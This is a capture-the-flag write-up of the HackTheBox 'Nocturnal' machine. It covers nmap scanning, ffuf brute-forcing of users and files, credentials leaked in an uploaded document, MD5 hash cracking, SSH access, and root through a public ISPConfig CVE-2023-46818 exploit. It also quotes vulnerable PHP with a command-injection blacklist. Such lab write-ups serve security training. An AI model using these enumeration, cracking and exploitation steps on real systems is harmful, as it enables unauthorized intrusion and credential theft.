Nocturnal – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar nocturnal


Summary Link to heading

“Nocturnal” is an Easy box from HackTheBox platform. The victim machine is running a web server that exposes an endpoint that can be used, through bruteforce, to leak a file. This file contains credentials that do work as admin in the main webpage. An admin can download backups files that includes a database file that leaks another password for another user. These new credentials work in SSH service, allowing us to gain initial access to the victim machine. After that, we can see an internal service running as root identified as ISPConfig -a tool used to manage emails and DNS records-. Credentials previously found works for this service as admin user. Once in, we check this software version and find that it is vulnerable to CVE-2023-46818, a vulnerability that allows code injection. Abusing this vulnerability, we get a shell as root and compromise the system.


User Link to heading

We start searching for open TCP ports with Nmap:

❯ sudo nmap -p- --min-rate=5000 --open -sS -n -Pn -vvv 10.129.219.164

We find only 2 ports open: 22 SSH and 80 HTTP. We apply some recognition scripts over these ports with -sVC flag with Nmap:

❯ sudo nmap -sVC -p22,80 10.129.219.164

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:15 -04
Nmap scan report for 10.129.219.164
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds

From output for port 80 HTTP we can see that the site redirects to http://nocturnal.htb domain.

We add this domain, along with the target IP address, to our /etc/hosts file running in a terminal:

❯ echo '10.129.219.164 nocturnal.htb' | sudo tee -a /etc/hosts

Using WhatWeb against the site shows a contact email (support@nocturnal.htb) and also shows that this server is running with Nginx:

❯ whatweb -a 3 http://nocturnal.htb

http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.219.164], Title[Welcome to Nocturnal], nginx[1.18.0]

Visiting http://nocturnal.htb in a web browser shows:

Nocturnal 1

The page says that we are able to upload Word, Excel and PDF documents in it.

We can create an account clicking on register and then using this account to log in. Once we have created an account, we are able tu upload files:

Nocturnal 2

We can upload a simple PDF file (which in my case is called dummy.pdf). Once uploaded we can see it on the web:

Nocturnal 3

Doing some hovering (putting our mouse above dummy.pdf link text) shows that it redirects to the link:

http://nocturnal.htb/view.php?username=gunzf0x&file=dummy.pdf

This might mean that if our user is called <user> and our uploaded file is called <file>, then the generated file will be called:

http://nocturnal.htb/view.php?username=<user>&file=<file>

If we intercept with Burpsuite what is the request sent when we weant to download the uploaded file we get the response:

Nocturnal 4

GET /view.php?username=gunzf0x&file=dummy.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

But nothing besides this.

If we search for a random file sending the request:

GET /view.php?username=gunzf0&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

We get the response in the web:

Nocturnal 5

We get File does not exist.

Now, if we change our username parameter to a user that clearly does not exist:

GET /view.php?username=gunzf0xtester&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i

We get the response:

Nocturnal 6

We can now see the text User not found.

In summary: we can make request using username parameter along with the presence (or lack of presence) of User not found text to search for valid users; and we can use the presence (or absence) of File does not exist to search for valid files.

First, let’s search for valid users using ffuf. We can search for valid users filtering by the response size. For example, when we make the request:

❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du'

<SNIP>
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

info                    [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 233ms]
2000                    [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
NULL                    [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
michael                 [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 229ms]
dave                    [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
tarrant                 [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
david                   [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
mark                    [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
<SNIP>

We get responses with size 2985 since User not found text is there as we can manually check with cURL:

❯ curl -s -X GET 'http://nocturnal.htb/view.php?username=michael&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' | html2text

****** File Viewer ******
User not found.

But if the response found a valid user the size of the response will change from 2985 (except if the error message displayed for a valid user, but an invalid file, returns exactly the same response size; which would be really, really unlucky). Therefore, filter by the response size 2985 in ffuf adding -fs flag:

❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2985

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 447ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 226ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 224ms]

We find 3 valid users: admin, amanda and tobias.

Since the site says we are able to upload Word, Excel and PDF file we can search for different formats. We can check this page from Microsoft to see valid extensions for Word and Excel; and .pdf for PDF files. We create the following dictionary for these valid formats:

❯ cat valid_formats.txt

doc
docx
docm
dot
dotm
odt
pdf
csv
dbf
dif
ods
txt
xls
xlsx
xla
xlsm

and search for potential files:

❯ ffuf -w ./potential_users.txt:FUZZ1 -w ./valid_formats.txt:FUZZ2 -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ3 -u 'http://nocturnal.htb/view.php?username=FUZZ1&file=FUZZ3.FUZZ2' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2967,3000-3200

<SNIP>
________________________________________________

[Status: 200, Size: 23396, Words: 1232, Lines: 216, Duration: 228ms]
    * FUZZ1: amanda
    * FUZZ2: odt
    * FUZZ3: privacy

We find a valid file: privacy.odt for amanda user.

Visiting then:

http://nocturnal.htb/view.php?username=amanda&file=privacy.odt

with our current session downloads a file.

We can open this file in an online PDT Viewer page such as this one. Upload the privacy.odt file and check its content. We can also attempt to open this file locally:

❯ xdg-open ./privacy.odt

and open content.xml file:

Nocturnal 7

Opening this file in a web browser such as Firefox shows:

Nocturnal 8

We get the following text for Amanda:

Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.

The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.

Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

We have a potential password: arHkG7HAI68X8s1J for amanda user.

This password does not work for amanda through SSH, as we can check with NetExec tool:

❯ nxc ssh nocturnal.htb -u 'amanda' -p 'arHkG7HAI68X8s1J'

SSH         10.129.219.164    22     nocturnal.htb    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.219.164    22     nocturnal.htb    [-] amanda:arHkG7HAI68X8s1J

However, if we log out from our current session in the web server and go to http://nocturnal.htb/login.php, the credentials amanda:arHkG7HAI68X8s1J do work and we are inside the panel:

Nocturnal 9

We can see a new button that says Go to Admin Panel. Clicking on it redirects to /admin.php, where we can see:

Nocturnal 10

If we scroll down to the webpage, we can create a backup that asks for a password:

Nocturnal 11

Additionally, if we click on admin.php, the same page displays the source code of admin.php page itself. There, the PHP code shows how the backup is generated. The main function creating the backup is:

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

The password is defined in a function called cleanEntry, which is defined as:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

The sensitive part is the line creating the backup file is:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

and then this $command variable is executed in:

$process = proc_open($command, $descriptor_spec, $pipes);

In other words, we might attempt to inject command through $password variable. However, some characters are banned to avoid Command Injection.

If we download a backup adding a simple password such as test and we check the content of the generated file with 7z we get:

❯ 7z l backup_2025-04-13.zip

<SNIP>
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-03-04 12:34:41 .....         7357         2421  admin.php
2025-03-21 03:40:01 D....            0            0  uploads
2024-10-06 17:54:39 .....        20477        18391  uploads/privacy.odt
2024-10-22 02:12:02 .....         1382          718  register.php
2024-10-22 02:12:09 .....         1403          728  login.php
2025-04-09 06:52:33 .....         2644         1158  dashboard.php
2025-04-09 06:56:19 .....        20480          683  nocturnal_database.db
2025-04-09 06:52:33 .....         1639          834  index.php
2024-10-22 02:12:34 .....         5344         1685  view.php
2024-10-04 23:23:43 .....           84           82  logout.php
2024-10-18 22:26:31 .....         3105          988  style.css
------------------- ----- ------------ ------------  ------------------------
2025-04-09 06:56:19              63915        27688  10 files, 1 folders

We have a file nocturnal_databae.db, which is new.

unzip the file using the password we have used to create the backup:

❯ unzip backup_2025-04-13.zip -d ./backup_content

Archive:  backup_2025-04-13.zip
[backup_2025-04-13.zip] admin.php password:
  inflating: ./backup_content/admin.php
   creating: ./backup_content/uploads/
  inflating: ./backup_content/uploads/privacy.odt
  inflating: ./backup_content/register.php
  inflating: ./backup_content/login.php
  inflating: ./backup_content/dashboard.php
  inflating: ./backup_content/nocturnal_database.db
  inflating: ./backup_content/index.php
  inflating: ./backup_content/view.php
  inflating: ./backup_content/logout.php
  inflating: ./backup_content/style.css

nocturnal_database.db is an SQLite file:

❯ file ./backup_content/nocturnal_database.db

./backup_content/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 15, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 15

Open this .db file using SQLite in our attacker machine:

❯ sqlite3 ./backup_content/nocturnal_database.db

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite>

Search for tables that could contain potential passwords:

sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';

users|password

This means that users table contains a column called password.

users table has 3 columns: id, username and password:

sqlite> PRAGMA table_info(users);

0|id|INTEGER|0||1
1|username|TEXT|1||0
2|password|TEXT|1||0

Check the content for username and password:

sqlite> SELECT username,password FROM users;

admin|d725aeba143f575736b07e045d8ceebb
amanda|df8b20aa0c935023f99ea58358fb63c4
tobias|55c82b1ccd55ab219b3b109b07d5061d

We have a new hash for tobias user. Since this hash is 32 characters long, it possibly is a MD5 hash.

We save this hash in a file named tobias_hash and attempt a Brute Force Password Cracking with JohnTheRipper:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt tobias_hash --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-04-13 03:35) 1.136g/s 4197Kp/s 4197Kc/s 4197KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We get a password: slowmotionapocalypse.

Check if this password works for tobias user with SSH using NetExec tool:

❯ nxc ssh nocturnal.htb -u 'tobias' -p 'slowmotionapocalypse'

SSH         10.129.219.164   22     nocturnal.htb    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.219.164   22     nocturnal.htb    [+] tobias:slowmotionapocalypse  Linux - Shell access!

These credentials work.

Log in as tobias user through SSH:

❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no tobias@nocturnal.htb

<SNIP>
Last login: Sun Apr 13 07:37:25 2025 from 10.10.16.56
tobias@nocturnal:~$

We can grab the user flag at /home/tobias directory.


Root Link to heading

Checking internal ports open we can see:

tobias@nocturnal:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   10                                   127.0.0.1:25                                    0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                 0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                  0.0.0.0:*
LISTEN              0                   10                                   127.0.0.1:587                                   0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8080                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

Port 8080 is new.

Additionally, with ps we can check who is running this process:

tobias@nocturnal:~$ ps aux | grep 8080

root        1023  0.0  0.8 286480 34324 ?        Ss   05:47   0:00 /usr/bin/php -S 127.0.0.1:8080
tobias      2953  0.0  0.0   6432   720 pts/0    S+   07:54   0:00 grep --color=auto 8080

Apparently this process is being executed by root. So it could be potentially used to escalate privileges.

We can check if this a web service using cURL against this local site:

tobias@nocturnal:~$ curl -I http://127.0.0.1:8080

HTTP/1.1 302 Found
Host: 127.0.0.1:8080
Date: Sun, 13 Apr 2025 07:41:30 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=4p8uen9mi3fe4v8j4th6o6dlug; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/

It is redirecting to /login/. It is apparently a website.

We can close the current SSH session as tobias and log in again, but this time we create a tunnel through a Local Port Forwarding using -L option to convert port 8080 of the victim machine into our localhost 8080 port (remember also to close Burpsuite if we were using it, since Burpsuite uses port 8080 by default and port 8080 could already be used):

❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 tobias@nocturnal.htb

Once done, in a web browser, we visit http://127.0.0.1:8080 where we can see a new site with a login panel:

Nocturnal 12

It seems to be an internal ISPConfig application.

Note
ISPConfig is an open source hosting control panel for Linux, licensed under BSD license and developed by the company ISPConfig UG. ISPConfig allows administrators to manage websites, email addresses and DNS records through a web-based interface.

Searching for default credentials for ISPConfig we find this forum. It’s pretty old (from 2005, wow), but there they provide the super secure credentials admin:admin. These credentials does not work in the site. However, admin:slowmotionapocalypse credentials (the same password for tobias user) do work. We are in:

Nocturnal 14

If we click on Help we can see the current version for ISPConfig:

Nocturnal 13

The current version is 3.2.10p1.

Checking at MITRE CVE webpage by vulnerabilities for ISPConfig with this version we find a vulnerability labeled as CVE-2023-46818. It affects versions before 3.2.11p1 and is a critical vulnerability since it allows PHP code injection. Searching for public Proof of Concepts for this vulnerability we find this repository. We clone it in our attacker machine:

❯ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git -q

This exploit just asks for a password, user and url:

❯ cd CVE-2023-46818-python-exploit

❯ python3 exploit.py

Usage: python exploit.py <URL> <Username> <Password>

and run the exploit against our localhost (127.0.0.1) that will be used against the target machine thanks to the generated tunnel with SSH:

❯ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

[+] Target URL: http://127.0.0.1:8080/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami

root

We get a shell as root in the victim machine. GG. We can grab the root flag at /root directory.

~Happy Hacking